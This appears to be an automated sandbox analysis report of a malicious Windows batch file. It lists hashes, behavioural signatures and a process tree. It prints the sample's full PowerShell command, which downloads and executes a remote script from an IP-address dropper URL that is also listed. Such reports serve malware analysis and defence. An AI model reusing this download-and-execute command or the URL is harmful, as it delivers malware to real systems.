Analysis

  • max time kernel
    64s
  • max time network
    96s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    12/07/2020, 01:10

General

  • Target
    6ebe9b72866bb759c8fb8b43c6691c55.bat
  • Size 217B
  • Sample200712-7mwj5ea7me
  • SHA256 8178b2a273ccd3ec4e01c78beeabb8b306e6851906b9581eff43d3af65cb72cb
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    http://185.103.242.78/pastes/6ebe9b72866bb759c8fb8b43c6691c55

Signatures

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\6ebe9b72866bb759c8fb8b43c6691c55.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1008
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/6ebe9b72866bb759c8fb8b43c6691c55');Invoke-RDYJJFERDU;Start-Sleep -s 10000"
      2⤵
        PID:4028
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4028 -s 704
          3⤵
          • Program crash
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious behavior: EnumeratesProcesses
          PID:808

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/808-1-0x0000000004040000-0x0000000004041000-memory.dmp

          memory/808-9-0x00000000047F0000-0x00000000047F1000-memory.dmp

          memory/808-46-0x0000000004BF0000-0x0000000004BF1000-memory.dmp